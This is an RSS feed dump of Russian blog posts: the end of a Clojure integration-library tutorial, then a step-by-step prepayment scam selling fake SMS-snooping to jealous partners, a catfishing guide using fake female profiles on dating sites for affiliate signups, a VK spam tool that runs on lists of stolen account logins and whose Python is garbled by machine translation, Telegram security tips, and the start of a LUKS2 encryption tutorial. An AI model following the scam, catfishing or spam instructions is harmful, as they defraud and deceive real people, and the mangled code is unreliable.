  <p>Самостоятельно можешь взглянуть, из каких полей состоит, например, первая задача в трекере после выборки, с помощью команды (first tasks), а затем давай сделаем полную выборку в формате JSON. Зависимость clojure.data.json приехала к нам вместе с метапакетом flower, поэтому весь оставшийся код будет выглядеть так:</p>
  <pre> (require &#x27;[clojure.data.json])
 
;; Функция сериализации, которую мы используем для удаления
;; полей :tracker и разыменования дополнительных невыполненных
;; полей (например, комментарии)
(defn serialize-task [task]
  (reduce-kv (fn [self k v]
              (if (= k :tracker)
                self
                (assoc self
                        k (if (delay? v) @v v))))
            {}
            task))
</pre>
  <p>;; Печатаем результирующий JSON</p>
  <pre>(clojure.data.json/pprint {:tasks (map serialize-task
                                      tasks)})
  
</pre>
  <p>Из интересных вещей, которые содержит в себе библиотека Flower при работе с трекерами задач, можно выделить еще изменение полей задачи. Делает��я это двумя строчками кода (и требует прав на запись):</p>
  <p>;; Получаем первую задачу из выборки</p>
  <pre>(def first-task (first tasks))
 
;; Обновляем поля заголовка и тегов
(.upsert! (assoc first-task
                :task-title &quot;New title&quot;
                :task-tags [&quot;sometag&quot;]))
</pre>
  <p>На этом месте, конечно, вывалится ошибка о невозможности что-либо записать в репозиторий, если не хватает на это прав: RequestException Must have admin rights to Repository. (403). Но если вдруг хватает, то для первой задачи из выборки будут фактически обновлены заголовок и теги, а результатом вернется обновленная запись.</p>
  <h3>Системы контроля версий</h3>
  <p>С системами контроля версий абсолютно аналогичная история:</p>
  <pre> (require &#x27;[flower.macros]
        &#x27;[flower.repository.core])
 
(flower.macros/with-default-credentials
  (def pt-github-repo (flower.repository.core/get-repository &quot;https://github.com/PositiveTechnologies/flower&quot;)))
</pre>
  <p>Знакомо, не правда ли? Во время разработки библиотеки я старался сделать так, чтобы определения для разных типов систем были похожи между собой и чтобы из названий функций было понятно их назначение.</p>
  <p>Посмотреть, какие функции поддерживаются протоколами различных систем, можно здесь (однако идея записей в том, что обращаться к их полям можно и напрямую, минуя вызовы этих функций в протоколах; так что, если для какого-то поля не определена функция выборки, его можно выбрать из записи через функцию get).</p>
  <p>Полистаем теперь пулл-реквесты из репозитория:</p>
  <p><code> (def prs (.get-pull-requests pt-github-repo))</code></p>
  <p>;; Получаем первый пулл-реквест из выборки</p>
  <pre>(def first-pr (first prs))
  
</pre>
  <p>Для выбранного пулл-реквеста выведем на печать все комментарии и счетчики (например, количество комментариев LGTM):</p>
  <pre> (println (.get-comments first-pr))
(println (.get-counters first-pr))
  
</pre>
  <p>Если вдруг у тебя есть права на запись в репозиторий, то можно смерджить пулл-реквест. Мерджить будем, только если один из комментариев содержит слово LGTM:</p>
  <pre> (when (&gt; (get (.get-counters first-pr)
              :count-lgtms)
        0)
  (.merge-pull-request! first-pr))
  
</pre>
  <h3>Системы обмена сообщениями</h3>
  <p>Пора программно почитать рабочую почту! Для этого нужно добавить в созданный раньше ~/.credentials.edn запись аккаунта Exchange. После добавления учетных данных файл может выглядеть, например, так (в примере поле :login содержит пользователя Exchange, :password — его пароль, :domain — домен Active Directory и :email — почтовый адрес пользователя):</p>
  <pre> {:token {:github &quot;****************************************&quot;}
 :account {:login &quot;jdoe&quot;
          :password &quot;************************&quot;
          :domain &quot;EXAMPLE&quot;
          :email &quot;jdoe@example.com&quot;}}
  
</pre>
  <p>Так как метапакет не включает в себя зависимости конкретных реализаций мессенджинговых систем, то каждую нужно указывать в project.clj эксплицитно. Для Exchange необходимо подключить пакет [flower/flower-integration-exchange &quot;0.4.3&quot;]. Итоговый файл проекта после этого будет выглядеть, например, так:</p>
  <pre> (defproject my-new-flower-app &quot;0.1.0-SNAPSHOT&quot;
  :description &quot;FIXME: write description&quot;
  :url &quot;http://example.com/FIXME&quot;
  :dependencies [[org.clojure/clojure &quot;1.9.0&quot;]
                [flower &quot;0.4.3&quot;]
                [flower/flower-integration-exchange &quot;0.4.3&quot;]]
  :main ^:skip-aot my-new-flower.core
  :target-path &quot;target/%s&quot;
  :profiles {:uberjar {:aot :all}})
  
</pre>
  <p>Перезапустим REPL, закрыв его и повторно из директории проекта выполнив команду lein repl. После этого можно приступить к подключению библиотек и определению почтового ящика:</p>
  <pre> (require &#x27;[flower.macros]
        &#x27;[flower.messaging.core])
 
(flower.macros/with-default-credentials
  (flower.messaging.core/with-messaging-type :exchange
    (def msg-box (flower.messaging.core/get-messaging))))
  
</pre>
  <p>Выберем первое сообщение из почтового ящика с загрузкой тела сообщения и отправим его же на другой почтовый ящик (фактически это не пересылка, а отправка нового сообщения с заменой получателя):</p>
  <pre> (def first-msg (first (.search-messages msg-box
                                        {:count 1
                                        :load-body true})))
 
(.send-message! (assoc first-msg
                      :msg-recipients [&quot;jstiles@example.com&quot;]))
  
</pre>
  <p>Но еще интереснее настроить автоматическую пересылку писем. Так как пакет clojure.core.async установлен как зависимость метапакета flower, то можно сразу же использовать его для асинхронной обработки входящих сообщений:</p>
  <pre> (require &#x27;[clojure.core.async :as async])
 
;; Подпишемся на входящие сообщения
(def ch (.subscribe msg-box
                    {:load-body true}))
 
;; Создаем сопрограмму для вывода на печать
;; и автоматической пересылки сообщений
(async/go-loop []
  (when-let [msg (async/&lt;! ch)]
    (println msg)
    (.send-message! (assoc msg
                          :msg-recipients [&quot;jstiles@example.com&quot;]))
    (recur)))
  
</pre>
  <p>Теперь при запущенном приложении с подобным кодом все входящие сообщения будут отправляться на другой почтовый ящик сразу же, как только будут получены.</p>
  <h3>Заключительное слово</h3>
  <p>В статье я показал лишь небольшую часть примеров применения библиотеки интеграции. С этими знаниями уже можно писать небольшие сценарии ad hoc. А после погружения в Clojure можно писать и готовый программный продукт.</p>
  <p>В моих планах — добавить в библиотеку поддержку большего числа сервисов. YouTrack, HipChat, Telegram и некоторые другие системы ждут своей очереди на добавление. Поскольку проект опенсорсный, я предлагаю тебе присоединиться любым доступным способом: даже простой фидбек в виде Issue на «Гитхабе» будет очень ценным для меня. А заведенный автоматизированно, с использованием самой библиотеки — вдвойне!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/B12pKYKwQ</guid><link>https://teletype.in/@d4ffyduckone/B12pKYKwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/B12pKYKwQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>СМС бизнес</title><pubDate>Sun, 02 Sep 2018 16:03:16 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/9c/9c9125ec-863b-462c-9711-90198a2cbb35.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/465106a298a2404121eaf.png"></img>Привет, манимэйкер! Сегодня представляю тебе рассказ одного бывалого &quot;теневого рабочего&quot; о его всегда рабочей схеме заработка:]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://telegra.ph/file/465106a298a2404121eaf.png" width="1000" />
  </figure>
  <p>Привет, манимэйкер! Сегодня представляю тебе рассказ одного бывалого &quot;теневого рабочего&quot; о его всегда рабочей схеме заработка:</p>
  <p>&quot;Рассказываю способ который работает как часы, и будет работать всегда, начну с того что я учился на психолога, вообще у меня два высших образования, но мне всегда интересна психология людей, наверное это и дало мне идею по которой спокойно можно делать 3-4 тысячи в день.</p>
  <p>Начну с того что я давненько сидел на одном форуме, схожим с фселом, занесло меня туда очень интересным случаем. У меня была подруга детства с которой я и сейчас поддерживаю хорошие отношения, подруга вышла замуж и однажды приходит от неё сообщение, что она подавлена и не знает что делать, ей кажется что муж ей изменяет а я должен был помочь найти человека который сделает детализацию его сообщений и она готова заплатить, тогда я и начал искать в сети кто предоставляет данные услуги.</p>
  <p>Нашёл на одном из форумов, так я познакомился с теневой стороной паутины, так вот нашёл я человека, пробил за 1500 руб конечно деньги я с подруги не взял а просто сказал что у меня был знакомый в салоне и он помог мне разобраться, после я зашёл на страницу к подруге и тут меня осенило, на странице у ней были добавлены записи о том что нельзя доверять мужикам, о не взаимной любви, и прочая сопливая лирика которая говорила о том что есть проблемы, а я знал что проблема решилась тем что она узнала правду с помощью того что сделала детализацию. Теперь я понимаю что там где не все гладко можно заработать не плохие деньги.</p>
  <p>Я создал страницу Вконтакте, поставил на аватар специальную картинку которая говорила о том что &quot;Доверяй но проверяй&quot; в статусе написал что &quot;Узнаю правду&quot; и пошёл в группы про любовь,верность,отношения. Далее нашел запись где было много репостов это значит что человек добавил её на стенку что бы увидели о чем он думает,</p>
  <p>Вконтакте есть специальная кнопка которая даёт видеть кто сделал репост, так вот у меня вылез список наших жертв, я начал писать всем кто есть в списке следующий текст, по сей день он рабочий и не менялся</p>
  <p>&quot;Здравствуйте *****, хочу предложить вам услугу по детализации sms-сообщений, вы уверены в тех кто вас окружают? Сейчас очень много информации даёт переписка вашего родного,близкого, или любимого человека. Возможно вы узнаете то о чем догадывались или найдёте причину которая вас тревожит.</p>
  <p>Я работаю с такими операторами как МТС,Билайн,Мегафон от вас лишь номер телефона абонента, о том что делалась детализация абонент узнать никак не сможет, я просто пришлю вам её точно так же в сообщениях и после просмотра вы сможете удалить её или оставить на память, делаем быстро и качественно а главное совсем не дорого!&quot;.</p>
  <p>Отправлял я одно и тоже сообщение всем, просто сидел, нажимал копировать и вставить, большинство жертв просто молчали прочитав сообщение, тут неожиданно я был заблокирован, оказывается я спамил. маленько подумав я стал делать так как правильно и как работает намного эффективней, при отправке сообщения нужно каждый раз писать имя того кому отправляешь и тогда сообщения получаются разными, точнее так думает робот который блочит аккаунты, так вот создаю вторую страницу повторяю действия и теперь каждый раз пишу имя, и вот оно, минимальный диалог с жертвой привёл к первой прибыли, жертве надо было узнать какую то правду, конечно я так и думал ведь мы предлагаем именно то что нужно, людям которые этого ждут, многие отвечают что, вы правда это можете?)</p>
  <p>Да многие разговоры начинаются с этой фразы. но я называю их жертвами потому как принимая оплату я ничего не делал, просто кидал в чёрный список. так я работал каждый день, обрабатывая в день 40 человек из них 8 соглашались как родные, способ оплаты был простой, я принимал деньги через сбербанк онлайн на карту своего знакомого, проработав Вконтакте я понял что очень много лишнего мусора в виде того что большинство тому кому мы пишем нет даже 18 лет, тут возникла идея ОДНОКЛАССНИКОВ!) там и народ взрослый и мусора меньше, а интриг больше, заметил что больше всех обращаются жены за мужами)</p>
  <p>В общем я описал схему того как делать 3-4 к руб за день спокойно, просто сидя у компьютера.</p>
  <p>P.S. Схему обозначил чёрной, для ленивых), просто развод на пред оплату.</p>
  <p>Можно и по белому: Заказываешь доступ в ЛК, и сам делаешь детализацию (была такая услуга). И по честному получаешь деньги.&quot;</p>
  <p>Вот такая вот схемка!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/HyijXtYvm</guid><link>https://teletype.in/@d4ffyduckone/HyijXtYvm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/HyijXtYvm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Способы защиты своего аккаунта Телеграмм</title><pubDate>Sun, 02 Sep 2018 15:37:07 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/01/01d9816a-552a-482f-9224-697ee04fb7cc.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/8df84ed26120cbe9b58c2.jpg"></img>Для того чтобы избежать взлома профиля Telegram со стороны злоумышленников, необходимо выполнить следующие действия:]]></description><content:encoded><![CDATA[
  <p>Для того чтобы избежать взлома профиля Telegram со стороны злоумышленников, необходимо выполнить следующие действия:</p>
  <figure class="m_column">
    <img src="https://telegra.ph/file/8df84ed26120cbe9b58c2.jpg" width="768" />
  </figure>
  <ul>
    <li>Всегда держите электронное устройство при себе, регулярно проверяйте его наличие;</li>
    <li>Не передавайте телефон посторонним людям, даже если вы им доверяете. Для взлома аккаунта достаточно несколько минут в случае, если злоумышленник имеет доступ к устройству;</li>
    <li>Используйте различные пароли и графические ключи на экране блокировки смартфона;</li>
    <li>Настройте двойной пароль в настройках Телеграмма;</li>
    <li>Регулярно проверяйте активные сессии и завершайте посторонние сеансы;</li>
    <li>Устанавливайте последние версии приложения Телеграмм;</li>
    <li>Придумайте сложный, длинный пароль, подобрать который не представится возможным.</li>
  </ul>
  <p>Указанные действия значительно снижают риск взлома аккаунта в Телеграмм, поэтому не рекомендуется пренебрегать ими. Несмотря на все уязвимости, Telegram по-прежнему остается одним из самых надежных приложений.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/ryAPmttDQ</guid><link>https://teletype.in/@d4ffyduckone/ryAPmttDQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/ryAPmttDQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Арбитраж трафика с сайтов знакомств</title><pubDate>Sun, 02 Sep 2018 15:36:06 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/89/89efae4f-8dae-42cd-9641-a98cd177f81a.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/e26cb4d9de48baea1c62a.png"></img>Сейчас я покажу вам очень простой способ заработка на adult/dating партнерке, для новичков.]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://telegra.ph/file/e26cb4d9de48baea1c62a.png" width="1460" />
  </figure>
  <p>Сейчас я покажу вам очень простой способ заработка на adult/dating партнерке, для новичков.</p>
  <p>Мы будем добывать условно бесплатный трафик, сливать его на партнерскую программу и получать деньги за регистрации по нашей ссылке. До 15$ за одну регистрацию!</p>
  <p>И так поехали.</p>
  <h3>Шаг 1:</h3>
  <p>Загружаем WhatsApp на свой смартфон и регистрируемся, используя смс активатор.</p>
  <p>Например sms-reg.com Либо регистрируемся бесплатно с помощью приложения Safeum (только литовские номера)</p>
  <h3>Шаг 2:</h3>
  <p>Загружаем фото девушки и создаем учетную запись WhatsApp.</p>
  <h3>Шаг 3:</h3>
  <p>Регистрируемся на сайтах знакомств.</p>
  <p>Находим в интернете, их тысячи.</p>
  <p>Создаем анкету девушки с теми же фото, что и поставили в Whatsapp.</p>
  <p>Вот несколько примеров популярных сайтов:</p>
  <p>twoo.com</p>
  <p>https://secure.tagged.com</p>
  <p>https://www.okcupid.com</p>
  <p>www.pinalove.com</p>
  <p>dateinasia.com</p>
  <p>oyoy.com</p>
  <p>thaiflirting.com</p>
  <p>fdating.com</p>
  <p>www.emocore.se</p>
  <p>happypancake.com</p>
  <p>fetlife.com</p>
  <p>darkside.se</p>
  <p>bodycontact.com</p>
  <p>www.fabswingers.com</p>
  <p>joyclub.de</p>
  <p>sklavenzentrale.com</p>
  <p>sadomaso-chat.de</p>
  <p>fetischpartner.com</p>
  <p>travesta.de</p>
  <p>fabguys.com</p>
  <p>tvchix.com</p>
  <p>lovescout24.de</p>
  <p>swinglifestyle.com</p>
  <p>erotikforum.at</p>
  <figure class="m_custom">
    <img src="http://tgraph.io/file/c94b1fe868b7c54618914.jpg" width="768" />
  </figure>
  <h3>Шаг 6:</h3>
  <p>Цены за регистрации разнятся в зависимости от местоположения зарегистрировавшегося.</p>
  <p>Самые высокие платы за регистрации получаем из данных стран:</p>
  <blockquote>Швеция, Дания, Норвегия, Финляндия, Австралия, Австрия, Испания, Канада, Франция, США, Германия, Нидерланды, Бельгия, Великобритания, Швейцария, Италия, Китай.</blockquote>
  <p>Поэтому по возможности выбираем ваше местоположение исходя из данных стран.</p>
  <h3>Шаг 7:</h3>
  <p>Заходим на сайт знакомств и начинаем лайкать людей с соответствующим возрастом, полом и местоположением.</p>
  <h3>Шаг 8:</h3>
  <p>Люди начнут писать вам личку, пообщайтесь с ними и дайте номер вашего WhatsApp.</p>
  <h3>Шаг 10:</h3>
  <p>Когда они добавят вас в WhatsApp, соблазните их и скажите, что ваши фото и видео где-то в других сетях и дайте ссылку на регистрацию через ваш WhatsApp.</p>
  <h3>Шаг 11:</h3>
  <p>После регистрации вы получите деньги.</p>
  <figure class="m_custom">
    <img src="http://tgraph.io/file/f5c0a99eccc0e0f8a1185.png" width="1015" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/BJ447YYPQ</guid><link>https://teletype.in/@d4ffyduckone/BJ447YYPQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/BJ447YYPQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Создаем спам</title><pubDate>Sun, 02 Sep 2018 15:35:08 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/d0/d0b3c5a6-d290-49f4-9761-86bf9147f926.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/8838671e35e67bc6a85e4.jpg"></img>Был написан консольный спамер &quot;vk_spammer.py&quot; в личных сообщениях ВК, работает только для спама ОДНОГО пользователя]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://telegra.ph/file/8838671e35e67bc6a85e4.jpg" width="1280" />
  </figure>
  <p>Был написан консольный спамер &quot;vk_spammer.py&quot; в личных сообщениях ВК, работает только для спама ОДНОГО пользователя</p>
  <p>Для него я приложу мануал для работы под Винду, также он может работать и на любой другой ОС</p>
  <p>Для работы необходимо</p>
  <p>- Python 3 (обязательно этой версии</p>
  <p>- Модуль vk_api</p>
  <p>- База аккаунтов ВК, которые мы будем грузить в текстовый файл (login:pass</p>
  <p>Преступим к подготовке</p>
  <p>1) Для начала установим Python последней 3-ей версии, качаем его отсюда https://www.python.org/downloads/</p>
  <p>2) При установке важно нажать на чекбокс &quot;Add Path&quot; для корректной работы Python в CMD</p>
  <p>3) Далее устанавливаем модуль vk_api</p>
  <p>Пишем в CMD</p>
  <p>pip install vk_api</p>
  <p>4) Запускаем программу</p>
  <p>python \path\to\vk_spammer.py</p>
  <p>Для спама вводим команду с такими атрибутами</p>
  <p>spam [accsFile] [id] [textFile] [times] [reload] [mediaFile</p>
  <p>Для просмотра описания каждой опции используем help</p>
  <p>Пример работы программы: https://pp.userapi.com/c830108/v830108552/1265bb/qGAXsGMeOk0.jpg</p>
  <p>Нам этом у меня всё, сам код программы можете найти ниже</p>
  <p>код:</p>
  <p>Код:</p>
  <pre>#!/ usr / bin / python
# - *- кодирование: utf-8 -*-

импорт vk_api
из vk_api импортируйте VkUpload
время импорта


def main():

 Печать()
 печать (&#x27;Добро пожаловать vk_spammer.py&#x27;)
 печать (&#x27;Write &lt;help&gt; to get command list&#x27;)

 # Цикл-интерфейс
 правда:

 Печать()
 печать (&#x27;vk_spammer:&#x27;, end=&quot;)
 cmd = ввод()
 Печать()

 если cmd.split () [0] = = &#x27;help&#x27;:
 печать (&#x27;&lt;help&gt; - получить справку&#x27;
</pre>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@d4ffyduckone/Bk-ZQFtD7</guid><link>https://teletype.in/@d4ffyduckone/Bk-ZQFtD7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone</link><comments>https://teletype.in/@d4ffyduckone/Bk-ZQFtD7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=d4ffyduckone#comments</comments><dc:creator>d4ffyduckone</dc:creator><title>Полнодисковое шифрование с LUKS2</title><pubDate>Sun, 02 Sep 2018 15:34:17 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/02/027c804c-e210-49f7-8f3b-f7ce8b845e05.png"></media:content><description><![CDATA[<img src="https://xakep.ru/wp-content/uploads/2018/08/183904/gpg-verify.png"></img>Дела с шифрованием запоминающих устройств обстоят забавным образом: оно повсюду и нигде одновременно. Начиная от мобильных устройств, где оно играет особо важную роль (причем большинство пользователей об этом даже не догадываются), и заканчивая большими дата-центрами. В то же время исследования, проведенные за последние десять лет в разных странах, включая Великобританию, Германию и США, показывают, что не только обычные пользователи, но и корпорации не сильно пекутся о личных данных.]]></description><content:encoded><![CDATA[
  <h3>Значимость и проблема FDE</h3>
  <p>Дела с шифрованием запоминающих устройств обстоят забавным образом: оно повсюду и нигде одновременно. Начиная от мобильных устройств, где оно играет особо важную роль (причем большинство пользователей об этом даже не догадываются), и заканчивая большими дата-центрами. В то же время <a href="https://commons.erau.edu/jdfsl/vol11/iss4/6/" target="_blank">исследования</a>, проведенные за последние десять лет в разных странах, включая Великобританию, Германию и США, показывают, что не только обычные пользователи, но и корпорации не сильно пекутся о личных данных.</p>
  <p>К сожалению, на этом проблемы не заканчиваются. Большинство нынешних систем полнодискового шифрования (Full Disk Encryption — FDE) обеспечивают конфиденциальность данных, но не их целостность. Это означает, что злоумышленник может физически изменить байт информации на диске и пользователь не сможет обнаружить, что и где изменилось и откуда сбои. Все потому, что сектор открытого текста равняется сектору шифротекста, а метаинформацию хранить негде.</p>
  <p>Искажение данных может произойти не только в результате прямого воздействия злоумышленником, но и по чистой случайности: неплотно воткнутый кабель, перезапись данных утилитой, которая не распознает формат LUKS, и так далее.</p>
  <p>Проблему целостности данных решает аутентифицированное шифрование (Authenticated Encryption with Associated Data — <a href="https://en.wikipedia.org/wiki/Authenticated_encryption" target="_blank">AEAD</a>). Это не новая тема, и активные исследования вместе с конкурсами на лучший алгоритм (см. <a href="https://competitions.cr.yp.to/caesar.html" target="_blank">CAESAR</a>) ведутся десятки лет. Но для реализации AEAD в полнодисковом шифровании нужно придумать, где хранить дополнительные данные (те самые AD).</p>
  <h3>Зачем шифровать</h3>
  <p>Если вы еще сомневаетесь, что полнодисковое шифрование — нужная штука, то подумайте вот о чем: оно не только помогает сохранить в тайне вашу очень важную инфу и пикантные фоточки, защищая вас от разного рода мошенничества и шантажа, но и предохраняет диск от изменений. Например, вас могут на какое-то время разлучить с вашим компьютером, и речь не только о «маски-шоу», но и, например, о дотошном погранконтроле. Как в таких случаях убедиться, что на диске не появилось чего-то нового? Ну и последний, чисто эмоциональный аргумент: просто представьте, какой неистовый баттхерт будет у кого-то, когда он не сможет получить доступ к вашим данным, — даже если там нет ничего интересного!</p>
  <h3>Решение</h3>
  <p>Ребята из Чехии несколько лет разрабатывали решение для Linux, которое сможет предоставить FDE с функцией AEAD. Главными критериями для этого были:</p>
  <ul>
    <li>обеспечить работу без дополнительного оборудования;</li>
    <li>сделать возможным применение на самых обычных дисках, которые доступны в магазине, а не по спецзаказу;</li>
    <li>использовать родной размер сектора;</li>
    <li>реализовать возможность восстановления данных в случае перебоя питания;</li>
    <li>использовать (и писать) только свободный код и алгоритмы.</li>
  </ul>
  <p>Результатом разработки стали новые объекты (targets) для <a href="https://en.wikipedia.org/wiki/Device_mapper" target="_blank">device mapper</a>: dm-integrity, обновленный dm-crypt с аутентифицированным шифрованием и формат LUKS2. Их поддержка включена в ядро Linux начиная с версии 4.12, а новые шифры AEGIS и MORUS (финалисты CAESAR) доступны с 4.18.</p>
  <h3>Подробнее о dm-integrity, dm-crypt и LUKS2</h3>
  <h3>dm-integrity</h3>
  <p>Эмулирует блочное устройство с дополнительными тегами в каждом секторе и использует их для хранения метаинформации. Поддерживает журналирование, которое можно опционально включить — например, чтобы можно было восстановить данные после сбоя питания.</p>
  <p>Применяется как в паре с dm-crypt для предоставления AEAD, так и отдельно — для контроля целостности данных без шифрования. Управляется утилитами <code>cryptsetup</code>, если нужно шифрование, или <code>integritysetup</code>, соответственно, без него.</p>
  <h3>dm-crypt</h3>
  <p>Здесь добавили поддержку режимов AEAD для шифров и рандомизацию вектора инициализации (Initialization Vector). На каждую запись в сектор ядром генерируется случайный Initialization Vector.</p>
  <p>К примеру, в режиме XTS вектор шифруется хитрым образом, что позволяет брать для него предсказуемый номер сектора (<em>plain</em> или <em>plain64</em>).</p>
  <h3>LUKS2</h3>
  <p>Это вторая версия формата LUKS с расширенными возможностями. Были устранены некоторые проблемы и ограничения, однако большинство идей LUKS1 остались. Среди новых возможностей:</p>
  <ul>
    <li>поддержка затратных для памяти функций формирования ключа (key derivation function — KDF);</li>
    <li>новый вид заголовка (бинарный + JSON), добавлен механизм контрольных сумм, дублирован (кроме области ключей);</li>
    <li>ключам можно назначать приоритет;</li>
    <li>JSON позволяет расширять возможности формата, не модифицируя бинарную структуру;</li>
    <li>в заголовке реализованы токены, которые связаны со слотами для ключей и описывают, где взять пароль. Токены могут быть использованы для поддержки механизмов внешнего хранения ключей.</li>
  </ul>
  <p>Посмотреть формат заголовка LUKS2 полностью и изучить каждое поле можно в <a href="https://gitlab.com/cryptsetup/cryptsetup/blob/master/docs/on-disk-format-luks2.pdf" target="_blank">спецификации</a>.</p>
  <p><a href="https://www.cryptolux.org/index.php/Argon2" target="_blank">Argon2</a> — та самая, затратная для памяти и центрального процессора KDF. В Linux доступны два варианта: <em>Argon2i</em> и <em>Argon2id</em>.</p>
  <p>На данный момент шифры AEAD, которые есть в ядре (AES-GCM и ChaCha20-Poly1305), имеют короткий (96-bit) одноразовый код (nonce). Это означает, что вероятность коллизии слишком большая (с точки зрения криптографии) и ее нельзя игнорировать, так как использование одноразового кода дважды (nonce reuse) фатально для AES-GCM. На всякий случай отмечу, что это не касается шифрования информации, передаваемой по сети.</p>
  <p>Для обеспечения AEAD в FDE сейчас стоит использовать новые AEGIS или MORUS. Или же AES-XTS + HMAC, если нет доступа к 4.18. Проблема этой конструкции в том, что нужно хешировать сектор, а хеширование 4 Кбайт данных занимает какое-то время. Другими словами: это долго.</p>
  <p>Поддержка dm-integrity включается в ядре опцией <code>CONFIG_DM_INTEGRITY</code>. В Arch Linux проверить, включена ли она у тебя, можно командой</p>
  <pre> $ zgrep -E &quot;CONFIG_DM_INTEGRITY|CONFIG_BLK_DEV_INTEGRITY&quot; /proc/config.gz
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_DM_INTEGRITY=m
</pre>
  <p>В Ubuntu список конфигов ядра находится в разделе <code>/boot</code>, файл <code>config-версия_ядра</code> — грепай его, и узнаешь всю правду.</p>
  <p>Стоит упомянуть, что авторы не пытаются переизобрести велосипед и придумать невиданную ранее концепцию. Подобное решение, но с другим подходом существует во FreeBSD и называется GELI. Здесь для обеспечения целостности данных используется HMAC.</p>
  <h3>Полнодисковое шифрование с LUKS2 на практике</h3>
  <p>Итак, у нас в арсенале скоро появятся новые алгоритмы и новые фичи. Но попробовать их не терпится уже сейчас, чем я и занялся.</p>
  <blockquote>Работа над форматом LUKS2 еще не завершена, так что не рекомендуется использовать его в продакшене!</blockquote>
  <p>Тут же нас встречает первая проблема: поддержки со стороны загрузчиков просто-напросто нет. На данный момент ни GRUB, ни другие не умеют работать с LUKS2.</p>
  <p>Отсутствие возможности грузиться с раздела LUKS2 при этом не конец света: <code>/boot</code> зашифруем в LUKS1. Кто-то возразит, что <code>/boot</code> — главный раздел и злоумышленнику, который получил доступ к нему, уже все равно, что у тебя в <code>/</code>. И это правда. Но к сожалению, пока что приходится работать с тем, что есть. LUKS1, конечно же, неплох, но мы сюда пришли новые фичи тестить. В любом случае LUKS2 находится в стадии допила напильником развития и модификации, поэтому о деплое в продакшен речи в любом слу��ае не идет.</p>
  <p>Тем временем сзади подкрался второй подвох: это ядро 4.18, которое, как ты помнишь, нужно для AEGIS и MORUS и которого на момент написания статьи нет ни в одном live-установщике. Единственная идея, которая мне приходит в голову, — это кастомный archiso, так как ежемесячный билд содержит только версию 4.17.11.</p>
  <h3>Модификация archiso</h3>
  <p>Процесс хорошо описан в <a href="https://wiki.archlinux.org/index.php/Remastering_the_Install_ISO" target="_blank">Arch Wiki</a>. В двух словах: нужно скачать официальный образ live-установщика, распаковать, внести свои изменения и запаковать обратно.</p>
  <blockquote>Если ты читаешь статью, когда на свете уже есть установщик с ядром 4.18, пропускай эту подглаву — ты живешь в прекрасном будущем и тебе все это не пригодится.</blockquote>
  <p>На <a href="https://www.archlinux.org/download/" target="_blank">странице загрузки</a> выбирай наиболее подходящее зеркало и качай:</p>
  <pre> $ curl -q -OL &quot;http://mir.archlinux.fr/iso/2018.08.01/archlinux-2018.08.01-x86_64.iso{,.sig}&quot;
</pre>
  <p>Не забудь проверить целостность файла .iso:</p>
  <p><code> $ gpg --recv-keys 9741E8AC &amp;&amp; gpg --verify archlinux-2018.08.01-x86_64.iso.sig</code></p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2018/08/183904/gpg-verify.png" width="1025" />
  </figure>
  <pre> # mkdir /mnt/archiso
# mount -t iso9660 -o loop archlinux-2018.08.01-x86_64.iso /mnt/archiso
</pre>
  <p>Так как образы ISO монтируются в режиме только для чтения, скопируй содержимое в другую директорию. Перед копированием удостоверься, что директории <code>~/customiso</code> не существует, и выполни 1</p>
  <p><code> $ cp -a /mnt/archiso ~/customiso; sync</code></p>
  <p>Далее нужно распаковать airootfs.sfs утилитой unsquashfs, она есть в составе пакета squashfs-tools (<code>$ sudo pacman -S squashfs-tools</code>):</p>
  <pre> $ cd ~/customiso/arch/x86_64/
$ unsquashfs airootfs.sfs
</pre>
  <p>Для обновления ядра понадобится… ядро. Копируй:</p>
  <p><code> $ cp ../boot/x86_64/vmlinuz squashfs-root/boot/vmlinuz-linux</code></p>
  <p>Теперь можно делать chroot в систему, для этого используй скрипт arch-chroot из пакета arch-install-scripts:</p>
  <p><code> $ sudo arch-chroot squashfs-root /bin/bash</code></p>
  <p>Для установки пакетов нужно сначала инициализировать ключи для pacman внутри chroot:</p>
  <pre> # pacman-key --init
# pacman-key --populate archlinux
</pre>
  <p>Обнови все пакеты:</p>
  <p><code> # pacman -Syu --force archiso linux</code></p>
